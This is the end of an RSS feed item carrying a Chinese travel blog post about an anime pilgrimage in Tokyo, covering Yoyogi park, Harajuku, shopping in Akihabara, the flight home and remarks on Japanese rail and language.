<p><picture><img type="image/webp" srcset="/assets/onden-jinja-ema-2.fe09b592.webp" loading="lazy" src="/assets/onden-jinja-ema-2.fe09b592.webp" width="3072" height="4096" alt="稳田神社绘马"></picture></p>
<p>给个特写<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/onden-jinja-ema-kuka.4eee07e2.webp" loading="lazy" src="/assets/onden-jinja-ema-kuka.4eee07e2.webp" width="4096" height="3072" alt="稳田神社可香绘马"></picture></p>
<p>然后去代代木公园<span class="mojikumi-line-end">。</span>到了之后发现林荫道这边人非常多<span class="mojikumi-line-start">（</span>照片这里不算多<span class="mojikumi-line-end">，</span>特意避开了一下人群<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>不知道这是日常还是有什么活动<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/yoyogi-trees.fc2a95fb.webp" loading="lazy" src="/assets/yoyogi-trees.fc2a95fb.webp" width="3072" height="4096" alt="代代木公园林荫道"></picture></p>
<p>本来还担心舞台这边也会人多<span class="mojikumi-line-end">，</span>结果完全没人<span class="mojikumi-line-end">，</span>可能是这边不方便坐<span class="mojikumi-line-start">（</span>？<span class="mojikumi-line-end">，</span>于是外放 Tiny Stars<span class="mojikumi-line-end">，</span>还学苍天用台上视角拍了一张<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/yoyogi-stage-1.cbf0b27b.webp" loading="lazy" src="/assets/yoyogi-stage-1.cbf0b27b.webp" width="4096" height="3072" alt="代代木公园舞台"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/yoyogi-stage-2.ea6335a3.webp" loading="lazy" src="/assets/yoyogi-stage-2.ea6335a3.webp" width="4096" height="3072" alt="代代木公园舞台"></picture></p>
<p>然后是未来如风的封面<span class="mojikumi-line-end">，</span>五轮桥<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/olympic-bridge.5bcac5f3.webp" loading="lazy" src="/assets/olympic-bridge.5bcac5f3.webp" width="4096" height="3072" alt="五轮桥"></picture></p>
<p>最后是第一集香音的上学路<span class="mojikumi-line-end">，</span>从竹下通沿小路走到表参道<span class="mojikumi-line-end">：</span></p>
<p><picture><img type="image/webp" srcset="/assets/road-to-school-1.9a02f3bd.webp" loading="lazy" src="/assets/road-to-school-1.9a02f3bd.webp" width="3072" height="4096" alt="香音上学路"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/road-to-school-2.5459cbe0.webp" loading="lazy" src="/assets/road-to-school-2.5459cbe0.webp" width="3072" height="4096" alt="香音上学路"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/road-to-school-3.aff957ca.webp" loading="lazy" src="/assets/road-to-school-3.aff957ca.webp" width="3072" height="4096" alt="香音上学路"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/road-to-school-4.9f1e535a.webp" loading="lazy" src="/assets/road-to-school-4.9f1e535a.webp" width="4096" height="3072" alt="香音上学路"></picture></p>
<p>太好听了吧！</p>
<p><picture><img type="image/webp" srcset="/assets/thtlb.142c4865.webp" loading="lazy" src="/assets/thtlb.142c4865.webp" width="3072" height="4096" alt="太好听了吧！"></picture></p>
<p>结果最后差点就要坐末班车了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>回来后摸了一会儿再整理游记<span class="mojikumi-line-end">，</span>又不能好好睡了<span class="mojikumi-line-end">，</span>这几天都睡好少<span class="mojikumi-line-end">。</span>虽然只走了 10km<span class="mojikumi-line-start">（</span>绕了一些路<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>但中间经常停下来拍照<span class="mojikumi-line-end">、</span>确认方向<span class="mojikumi-line-end">、</span>等红灯之类的<span class="mojikumi-line-end">，</span>只有坐 JR 的时候休息了一下<span class="mojikumi-line-end">，</span>一共花了接近 5h<span class="mojikumi-line-end">，</span>比拉练还久<span class="mojikumi-line-end">，</span>还没有踩屎鞋垫<span class="mojikumi-line-end">，</span>周五又刚走过 10km<span class="mojikumi-line-end">，</span>脚要死掉了<span class="mojikumi-line-start">（</span></p>
<p>总的来说<span class="mojikumi-line-end">，</span><s>不如再去一次月岛吧</s><span class="mojikumi-line-end">，</span>本来主要也是去将棋会馆的<span class="mojikumi-line-end">，</span>结果还施工了<span class="mojikumi-line-end">，</span><s>原宿还不如看苍天的视频<span class="mojikumi-line-end">，</span>也就最新的绘马值得看了<span class="mojikumi-line-start">（</span></s></p>
<h2 id="day-3" class="heading"><a href="#day-3" class="heading-anchor" aria-label="章节： Day 3" tabindex="-1"></a><span>Day 3</span></h2>
<h3 id="秋叶原" class="heading"><a href="#秋叶原" class="heading-anchor" aria-label="章节： 秋叶原" tabindex="-1"></a><span>秋叶原</span></h3>
<p>APA 早上 10 点就得退房<span class="mojikumi-line-end">，</span>然后直接去了秋叶原<span class="mojikumi-line-end">，</span>看 animate 11 点开门而 gamers 10 点开门<span class="mojikumi-line-end">，</span>先去 gamers 看了一眼<span class="mojikumi-line-end">，</span>结果是 10 点只开一楼<span class="mojikumi-line-end">，</span>11 点才开其他地方<span class="mojikumi-line-end">。</span>一楼还在放甲子园 live<span class="mojikumi-line-end">，</span>但也没啥想买的<span class="mojikumi-line-end">。</span>到了 11 点上去看了之后<span class="mojikumi-line-end">，</span>发现 LL 全在一楼<span class="mojikumi-line-end">，</span>上面更没啥能买的<span class="mojikumi-line-end">，</span>虽然看到了 Ave Mujica <span lang="ja">の世界</span><span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/gamers-live.68b0ddee.webp" loading="lazy" src="/assets/gamers-live.68b0ddee.webp" width="3072" height="4096" alt="甲子园 live"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/gamers-mujica.bb9837ef.webp" loading="lazy" src="/assets/gamers-mujica.bb9837ef.webp" width="4096" height="3072" alt="Ave Mujica"></picture></p>
<p>中午紧急找了一下厕所<span class="mojikumi-line-end">，</span>先是去 JR 秋叶原站没找到<span class="mojikumi-line-end">，</span>不知道是不是要其他出口或者进站后才行<span class="mojikumi-line-end">，</span>搜了一个公厕结果发现它所在的公园关门了<span class="mojikumi-line-end">，</span>最后去的 Tokyo Metro 秋叶原站<span class="mojikumi-line-end">。</span></p>
<p>之后去了 animate<span class="mojikumi-line-end">，</span>进门先看到了艾玛的月度单曲<span class="mojikumi-line-end">，</span>就拿了<span class="mojikumi-line-end">，</span>然后全看了一遍<span class="mojikumi-line-end">，</span>发现也只有五楼有能买的<span class="mojikumi-line-end">。</span>小红书上说得不是很清楚<span class="mojikumi-line-end">，</span>就找店员确认了一下<span class="mojikumi-line-end">，</span>是不含税满 5000 可以免税<span class="mojikumi-line-end">，</span>所有楼层一起在 B1 结<span class="mojikumi-line-end">，</span>但 2 号馆不能一起付<span class="mojikumi-line-end">。</span>凑了半天发现还是凑不到免税<span class="mojikumi-line-end">，</span>想放弃了<span class="mojikumi-line-end">。</span>到了 B1 才意识到<span class="mojikumi-line-end">，</span>我在其他地方看了半天<span class="mojikumi-line-end">，</span>但把 B1 当成只有个收银台了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">，</span>实际上 B1 是一堆 CD<span class="mojikumi-line-end">，</span>于是买了一盘 Tiny Stars<span class="mojikumi-line-start">（</span><s>感觉星已经没有别的我想要的了</s><span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>然后只差 450 了<span class="mojikumi-line-end">，</span>就又上楼补了个侑<span class="mojikumi-line-start">（</span>这套没有璃奈<span class="mojikumi">）</span><span class="mojikumi-line-end">。</span>最后买了两盘 CD<span class="mojikumi-line-end">，</span>一对毫无疑问钥匙扣<span class="mojikumi-line-end">，</span>一个帽贴纸和一套芦灰明信片<span class="mojikumi-line-end">。</span>animate 似乎还不支持免税二维码<span class="mojikumi-line-end">，</span>让我拿了护照<span class="mojikumi-line-end">。</span></p>
<p><picture><img type="image/webp" srcset="/assets/animate-starry-night-serenade.bcdccb1a.webp" loading="lazy" src="/assets/animate-starry-night-serenade.bcdccb1a.webp" width="4096" height="3072" alt="Starry Night Serenade"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/animate-tiny-stars.7e56f6fe.webp" loading="lazy" src="/assets/animate-tiny-stars.7e56f6fe.webp" width="4096" height="3072" alt="Tiny Stars"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/animate-machigainaku.71a880a8.webp" loading="lazy" src="/assets/animate-machigainaku.71a880a8.webp" width="4096" height="3072" alt="間違いなく"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/animate-oguri-cap.f2ffe149.webp" loading="lazy" src="/assets/animate-oguri-cap.f2ffe149.webp" width="4096" height="3072" alt="帽"></picture></p>
<p>拆封后发现<span class="mojikumi-line-end">，</span>虽然分别是 2 月限定特典和初回限定特典<span class="mojikumi-line-end">，</span>但都是内封了的<span class="mojikumi-line-start">（</span>应该是有这个贴纸就代表有？<span class="mojikumi">）</span><span class="mojikumi-line-end">。</span>2 月限定到了 3.3 还有也很合理<span class="mojikumi-line-end">，</span>但 Tiny Stars 已经发售三年半了啊<span class="mojikumi-line-end">，</span>怎么还是初回<span class="mojikumi-line-start">（</span>P.S. 后来发现其实说的是期间限定特典的 2 月日历<span class="mojikumi-line-end">，</span>并不是 2 月限定特典<span class="mojikumi-line-start">（</span></p>
<p><picture><img type="image/webp" srcset="/assets/tokuten-starry-night-serenade.90c40909.webp" loading="lazy" src="/assets/tokuten-starry-night-serenade.90c40909.webp" width="4096" height="3072" alt="Starry Night Serenade 的期间限定特典以及 animate 店铺特典"></picture></p>
<p><picture><img type="image/webp" srcset="/assets/tokuten-tiny-stars.0786419c.webp" loading="lazy" src="/assets/tokuten-tiny-stars.0786419c.webp" width="2556" height="2500" alt="Tiny Stars 的初回限定特典"></picture></p>
<p>中午吃的吉野家<span class="mojikumi-line-end">，</span>之前听说日本的菜单和国内不一样<span class="mojikumi-line-end">，</span>确实<span class="mojikumi-line-end">，</span>但怎么是没有汉堡肉<span class="mojikumi-line-start">（</span></p>
<h3 id="返程" class="heading"><a href="#返程" class="heading-anchor" aria-label="章节： 返程" tabindex="-1"></a><span>返程</span></h3>
<p>本来还在想要不要最后去一下台场<span class="mojikumi-line-end">，</span>但发现到台场的票价和台场到机场的票价都比直接去机场贵<span class="mojikumi-line-end">，</span>实在没必要<span class="mojikumi-line-end">。</span>而且虹咲的圣地看起来就像是网红景点打卡<span class="mojikumi-line-end">，</span>也没有什么想去的<span class="mojikumi-line-start">（</span></p>
<p>到机场后在便利店买了个价格正好的面包把 suica 余额花完<span class="mojikumi-line-end">，</span>最后地铁除去京急线应该是差不多花了三日通票的价<span class="mojikumi-line-end">，</span>只不过如果买了通票去秋叶原应该也不用走路了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>安检排了很长的队<span class="mojikumi-line-end">，</span>过安检的时候还被要求把水倒掉把鞋脱掉<span class="mojikumi-line-end">，</span>但电脑不需要单独拿出来<span class="mojikumi-line-end">，</span>最后安检就花了 30min<span class="mojikumi-line-end">，</span>只不过不用坐小火车<span class="mojikumi-line-end">。</span>过了安检后可以再去接水<span class="mojikumi-line-end">，</span>这次在那个神秘外盖饮水机碰到一个路人把杯面放进去盖上外盖把杯面关在里面然后不知所措<span class="mojikumi-line-start">（</span></p>
<p>落地后想办空轨联运<span class="mojikumi-line-end">，</span>才知道这个要起飞前办<span class="mojikumi-line-end">，</span>为啥呢<span class="mojikumi-line-start">（</span></p>
<h3 id="尾声" class="heading"><a href="#尾声" class="heading-anchor" aria-label="章节： 尾声" tabindex="-1"></a><span>尾声</span></h3>
<p>这几天和店员交流的时候<span class="mojikumi-line-end">，</span>感觉是<span class="mojikumi-line-end">，</span>日语听半懂<span class="mojikumi-line-end">，</span>英语听不清<span class="mojikumi-line-end">，</span>脑子里第一反应是想日语怎么说<span class="mojikumi-line-end">，</span>但是不会说<span class="mojikumi-line-end">，</span>反而让英语模块也变得混乱<span class="mojikumi-line-end">，</span>用 VoiceTra 又手忙脚乱又说不出普通话<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">；</span>反而是比划一下最靠谱<span class="mojikumi-line-end">，</span>仿佛是我完全不会日语和英语<span class="mojikumi-line-end">，</span>但或许如果我真的完全不会日语就能会英语了<span class="mojikumi-line-start">（</span><span class="mojikumi-line-end">。</span>现金也备多了<span class="mojikumi-line-end">，</span>其实也就买 Suica 和一部分饭店需要<span class="mojikumi-line-end">，</span>很多地方都支持微信支付宝<span class="mojikumi-line-end">。</span>移动的漫游套餐一直查不到用量<span class="mojikumi-line-end">，</span>根据手机统计的<span class="mojikumi-line-end">，</span>应该就用了 1G 左右<span class="mojikumi-line-end">，</span>但查不到还是无法安心<span class="mojikumi-line-end">。</span>轨道交通和国内很不一样<span class="mojikumi-line-end">，</span>但是也挺容易适应的<span class="mojikumi-line-end">，</span>就是一条线可能中途改名<span class="mojikumi-line-end">，</span>换一条线可能需要下车换乘可能不需要<span class="mojikumi-line-start">（</span>看 Google Maps 有没有写<span class="mojikumi-line-start">“</span>无需换乘<span class="mojikumi-line-end">”</span>和步行几分钟<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>同一个站台可能来不同速度的车<span class="mojikumi-line-end">，</span>比起看驶往哪个方向不如直接看站台号<span class="mojikumi-line-end">，</span>同一个站不同线可能有不互通的入口<span class="mojikumi-line-end">；</span>来之前在小红书看到了<span class="mojikumi-line-end">，</span>但还是要坐两次才明白<span class="mojikumi-line-end">；</span>回来坐国内地铁的时候反而有点不习惯了<span class="mojikumi-line-start">（</span></p>
<p>有机会的话<span class="mojikumi-line-end">，</span>下次还来月岛<span class="mojikumi-line-end">，</span>最好能去鸭川<span class="mojikumi-line-end">，</span><s>我是精神<span lang="ja">三月町の子</span><span class="mojikumi-line-end">，</span>别的地方是啥<span class="mojikumi-line-end">，</span>可以待在酒店吗<span class="mojikumi-line-start">（</span>并不</s></p>]]></content:encoded>
            <category domain="https://ouuan.moe/tag/ctf">ctf</category>
            <category domain="https://ouuan.moe/tag/3%E6%9C%88%E3%81%AE%E3%83%A9%E3%82%A4%E3%82%AA%E3%83%B3">3月のライオン</category>
            <category domain="https://ouuan.moe/tag/%E6%97%A5%E6%9C%AC">日本</category>
            <category domain="https://ouuan.moe/tag/%E6%B8%B8%E8%AE%B0">游记</category>
        </item>
    </channel>
</rss>